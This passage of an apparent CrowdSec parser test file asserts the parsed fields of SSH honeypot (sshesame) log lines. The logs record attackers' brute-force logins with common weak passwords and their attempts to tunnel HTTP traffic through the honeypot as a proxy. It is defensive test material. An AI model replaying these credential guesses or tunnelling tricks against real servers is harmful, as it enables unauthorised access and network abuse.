HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n\"" results["s00-raw"]["crowdsecurity/non-syslog"][280].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][280].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][280].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][281].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][281].Evt.Parsed["message"] == "2022/05/06 13:18:31 [193.105.134.95:13053] [channel 1] closed" results["s00-raw"]["crowdsecurity/non-syslog"][281].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][281].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][281].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][282].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][282].Evt.Parsed["message"] == "2022/05/06 13:18:31 [193.105.134.95:13053] connection closed" results["s00-raw"]["crowdsecurity/non-syslog"][282].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][282].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][282].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][283].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][283].Evt.Parsed["message"] == "2022/05/06 13:25:37 [144.22.213.51:55710] authentication for user \"admin\" without credentials rejected" results["s00-raw"]["crowdsecurity/non-syslog"][283].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][283].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][283].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][284].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][284].Evt.Parsed["message"] == "2022/05/06 13:25:40 [144.22.213.51:55710] authentication for user \"admin\" with password \"1234567\" accepted" results["s00-raw"]["crowdsecurity/non-syslog"][284].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][284].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][284].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][285].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][285].Evt.Parsed["message"] == "2022/05/06 13:25:40 [144.22.213.51:55710] connection with client version \"SSH-2.0-OpenSSH_7.4\" established" results["s00-raw"]["crowdsecurity/non-syslog"][285].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][285].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][285].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][286].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][286].Evt.Parsed["message"] == "2022/05/06 13:25:44 [144.22.213.51:55710] connection closed" results["s00-raw"]["crowdsecurity/non-syslog"][286].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][286].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][286].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][287].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][287].Evt.Parsed["message"] == "2022/05/06 13:39:55 [65.49.20.66:23616] authentication for user \"\" without credentials rejected" results["s00-raw"]["crowdsecurity/non-syslog"][287].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][287].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][287].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][288].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][288].Evt.Parsed["message"] == "2022/05/06 13:48:37 [193.105.134.95:49178] authentication for user \"admin\" without credentials rejected" results["s00-raw"]["crowdsecurity/non-syslog"][288].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][288].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][288].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][289].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][289].Evt.Parsed["message"] == "2022/05/06 13:48:37 [193.105.134.95:49178] authentication for user \"admin\" with password \"aisadmin\" accepted" results["s00-raw"]["crowdsecurity/non-syslog"][289].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][289].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][289].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][290].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][290].Evt.Parsed["message"] == "2022/05/06 13:48:37 [193.105.134.95:49178] connection with client version \"SSH-2.0-paramiko_2.0.2\" established" results["s00-raw"]["crowdsecurity/non-syslog"][290].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][290].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][290].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][291].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][291].Evt.Parsed["message"] == "2022/05/06 13:48:37 [193.105.134.95:49178] [channel 0] direct TCP/IP forwarding from 127.0.0.1:23817 to 172.217.21.174:80 requested" results["s00-raw"]["crowdsecurity/non-syslog"][291].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][291].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][291].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][292].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][292].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][292].Evt.Parsed["message"] == "2022/05/06 13:48:37 [193.105.134.95:49178] [channel 0] input: \"GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n\"" results["s00-raw"]["crowdsecurity/non-syslog"][292].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][292].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][293].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][293].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][293].Evt.Parsed["message"] == "2022/05/06 13:48:37 [193.105.134.95:49178] [channel 1] direct TCP/IP forwarding from 127.0.0.1:10037 to [2a00:1450:400f:80a::200e]:80 requested" results["s00-raw"]["crowdsecurity/non-syslog"][293].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][293].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][294].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][294].Evt.Parsed["message"] == "2022/05/06 13:48:37 [193.105.134.95:49178] [channel 0] closed" results["s00-raw"]["crowdsecurity/non-syslog"][294].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][294].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][294].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][295].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][295].Evt.Parsed["message"] == "2022/05/06 13:48:37 [193.105.134.95:49178] [channel 1] input: \"GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n\"" results["s00-raw"]["crowdsecurity/non-syslog"][295].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][295].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][295].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][296].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][296].Evt.Parsed["message"] == "2022/05/06 13:48:37 [193.105.134.95:49178] [channel 1] closed" results["s00-raw"]["crowdsecurity/non-syslog"][296].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][296].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][296].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][297].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][297].Evt.Parsed["message"] == "2022/05/06 13:48:37 [193.105.134.95:49178] connection closed" results["s00-raw"]["crowdsecurity/non-syslog"][297].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][297].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][297].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][298].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][298].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][298].Evt.Parsed["message"] == "2022/05/06 13:55:12 [190.2.139.67:58629] [channel 147] direct TCP/IP forwarding from 127.0.0.1:22 to 142.93.136.142:80 requested" results["s00-raw"]["crowdsecurity/non-syslog"][298].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][298].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][299].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][299].Evt.Parsed["message"] == "2022/05/06 13:55:12 [190.2.139.67:58629] [channel 147] input: \"GET /?requestid=40353 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n\"" results["s00-raw"]["crowdsecurity/non-syslog"][299].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][299].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][299].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][300].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][300].Evt.Parsed["message"] == "2022/05/06 13:55:12 [190.2.139.67:58629] [channel 147] closed" results["s00-raw"]["crowdsecurity/non-syslog"][300].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][300].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][300].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][301].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][301].Evt.Parsed["message"] == "2022/05/06 13:59:17 [190.2.139.67:58629] [channel 149] direct TCP/IP forwarding from 127.0.0.1:22 to 142.93.136.142:80 requested" results["s00-raw"]["crowdsecurity/non-syslog"][301].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][301].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][301].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][302].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][302].Evt.Parsed["message"] == "2022/05/06 13:59:17 [190.2.139.67:58629] [channel 149] input: \"GET /?requestid=27608 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n\"" results["s00-raw"]["crowdsecurity/non-syslog"][302].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][302].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][302].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][303].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][303].Evt.Parsed["message"] == "2022/05/06 13:59:17 [190.2.139.67:58629] [channel 149] closed" results["s00-raw"]["crowdsecurity/non-syslog"][303].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][303].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][303].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][304].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][304].Evt.Parsed["message"] == "2022/05/06 14:28:01 [43.154.53.163:58300] authentication for user \"root\" with password \"xiaoming\" accepted" results["s00-raw"]["crowdsecurity/non-syslog"][304].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][304].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][304].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][305].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][305].Evt.Parsed["message"] == "2022/05/06 14:28:01 [43.154.53.163:58300] connection with client version \"SSH-2.0-libssh-0.6.3\" established" results["s00-raw"]["crowdsecurity/non-syslog"][305].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][305].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][305].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][306].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][306].Evt.Parsed["message"] == "2022/05/06 14:28:04 [43.154.53.163:58868] authentication for user \"nproc\" with password \"nproc\" accepted" results["s00-raw"]["crowdsecurity/non-syslog"][306].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][306].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][306].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][307].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][307].Evt.Parsed["message"] == "2022/05/06 14:28:04 [43.154.53.163:58868] connection with client version \"SSH-2.0-libssh-0.6.3\" established" results["s00-raw"]["crowdsecurity/non-syslog"][307].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][307].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][307].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][308].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][308].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][308].Evt.Parsed["message"] == "2022/05/06 14:28:04 [43.154.53.163:58300] [channel 0] session requested" results["s00-raw"]["crowdsecurity/non-syslog"][308].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][308].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][309].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][309].Evt.Parsed["message"] == "2022/05/06 14:28:04 [43.154.53.163:58868] connection closed" results["s00-raw"]["crowdsecurity/non-syslog"][309].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][309].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][309].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][310].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][310].Evt.Parsed["message"] == "2022/05/06 14:28:05 [43.154.53.163:58300] [channel 0] closed" results["s00-raw"]["crowdsecurity/non-syslog"][310].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][310].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][310].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][311].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][311].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][311].Evt.Parsed["message"] == "2022/05/06 14:28:05 [43.154.53.163:58300] connection closed" results["s00-raw"]["crowdsecurity/non-syslog"][311].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][311].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][312].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][312].Evt.Parsed["message"] == "2022/05/06 14:28:15 [87.121.6.204:49420] authentication for user \"root\" with password \"Password321\" accepted" results["s00-raw"]["crowdsecurity/non-syslog"][312].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][312].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][312].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][313].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][313].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][313].Evt.Parsed["message"] == "2022/05/06 14:28:15 [87.121.6.204:49420] connection with client version \"SSH-2.0-libssh-0.6.3\" established" results["s00-raw"]["crowdsecurity/non-syslog"][313].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][313].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][314].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][314].Evt.Parsed["message"] == "2022/05/06 14:28:15 [87.121.6.204:49568] authentication for user \"nproc\" with password \"nproc\" accepted" results["s00-raw"]["crowdsecurity/non-syslog"][314].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][314].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][314].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][315].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][315].Evt.Parsed["message"] == "2022/05/06 14:28:15 [87.121.6.204:49568] connection with client version \"SSH-2.0-libssh-0.6.3\" established" results["s00-raw"]["crowdsecurity/non-syslog"][315].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][315].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][315].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][316].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][316].Evt.Parsed["message"] == "2022/05/06 14:28:15 [87.121.6.204:49420] [channel 0] session requested" results["s00-raw"]["crowdsecurity/non-syslog"][316].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][316].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][316].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][317].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][317].Evt.Parsed["message"] == "2022/05/06 14:28:15 [87.121.6.204:49568] connection closed" results["s00-raw"]["crowdsecurity/non-syslog"][317].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][317].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][317].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][318].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][318].Evt.Parsed["message"] == "2022/05/06 14:28:15 [87.121.6.204:49420] [channel 0] closed" results["s00-raw"]["crowdsecurity/non-syslog"][318].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][318].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][318].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][319].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][319].Evt.Parsed["message"] == "2022/05/06 14:28:15 [87.121.6.204:49420] connection closed" results["s00-raw"]["crowdsecurity/non-syslog"][319].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][319].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][319].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][320].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][320].Evt.Parsed["message"] == "2022/05/06 14:30:02 [45.239.216.250:45336] authentication for user \"root\" with password \"root#1234\" accepted" results["s00-raw"]["crowdsecurity/non-syslog"][320].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][320].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][320].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][321].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][321].Evt.Parsed["message"] == "2022/05/06 14:30:02 [45.239.216.250:45336] connection with client version \"SSH-2.0-libssh-0.6.3\" established" results["s00-raw"]["crowdsecurity/non-syslog"][321].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][321].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][321].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][322].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][322].Evt.Parsed["message"] == "2022/05/06 14:30:05 [45.239.216.250:46226] authentication for user \"nproc\" with password \"nproc\" accepted" results["s00-raw"]["crowdsecurity/non-syslog"][322].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][322].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][322].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][323].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][323].Evt.Parsed["message"] == "2022/05/06 14:30:05 [45.239.216.250:46226] connection with client version \"SSH-2.0-libssh-0.6.3\" established" results["s00-raw"]["crowdsecurity/non-syslog"][323].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][323].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][323].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][324].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][324].Evt.Parsed["message"] == "2022/05/06 14:30:05 [45.239.216.250:46226] connection closed" results["s00-raw"]["crowdsecurity/non-syslog"][324].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][324].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][324].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][325].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][325].Evt.Parsed["message"] == "2022/05/06 14:30:05 [45.239.216.250:45336] [channel 0] session requested" results["s00-raw"]["crowdsecurity/non-syslog"][325].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][325].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][325].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][326].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][326].Evt.Parsed["message"] == "2022/05/06 14:30:05 [45.239.216.250:45336] [channel 0] closed" results["s00-raw"]["crowdsecurity/non-syslog"][326].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][326].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][326].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][327].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][327].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][327].Evt.Parsed["message"] == "2022/05/06 14:30:05 [45.239.216.250:45336] connection closed" results["s00-raw"]["crowdsecurity/non-syslog"][327].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][327].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][328].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][328].Evt.Parsed["message"] == "2022/05/06 14:56:33 [1.7.180.245:44604] authentication for user \"admin\" without credentials rejected" results["s00-raw"]["crowdsecurity/non-syslog"][328].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][328].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][328].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][329].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][329].Evt.Parsed["message"] == "2022/05/06 14:56:35 [1.7.180.245:44604] authentication for user \"admin\" with password \"1234567\" accepted" results["s00-raw"]["crowdsecurity/non-syslog"][329].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][329].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][329].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][330].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][330].Evt.Parsed["message"] == "2022/05/06 14:56:35 [1.7.180.245:44604] connection with client version \"SSH-2.0-OpenSSH_7.4\" established" results["s00-raw"]["crowdsecurity/non-syslog"][330].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][330].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][330].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][331].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][331].Evt.Parsed["message"] == "2022/05/06 14:56:37 [1.7.180.245:44604] connection closed" results["s00-raw"]["crowdsecurity/non-syslog"][331].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][331].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][331].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][332].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][332].Evt.Parsed["message"] == "2022/05/06 15:35:00 [45.82.65.44:42736] [channel 31] direct TCP/IP forwarding from 127.0.0.1:22 to 104.23.141.25:80 requested" results["s00-raw"]["crowdsecurity/non-syslog"][332].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][332].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][332].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][333].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][333].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][333].Evt.Parsed["message"] == "2022/05/06 15:35:00 [45.82.65.44:42736] [channel 31] input: \"GET / HTTP/1.1\\r\\nHost: omegle.com\\r\\nConnection: close\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nConnection: close\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2) Gecko/20091218 Firefox 3.6b5\\r\\n\\r\\n\"" results["s00-raw"]["crowdsecurity/non-syslog"][333].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][333].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][334].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][334].Evt.Parsed["message"] == "2022/05/06 15:35:00 [45.82.65.44:42736] [channel 31] input: \"GET http://omegle.com/ HTTP/1.1\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2) Gecko/20091218 Firefox 3.6b5\\r\\n\\r\\n\"" results["s00-raw"]["crowdsecurity/non-syslog"][334].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][334].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][334].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][335].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][335].Evt.Parsed["message"] == "2022/05/06 15:35:31 [45.82.65.44:42736] [channel 31] closed" results["s00-raw"]["crowdsecurity/non-syslog"][335].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][335].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][335].Evt.Meta["datasource_path"] 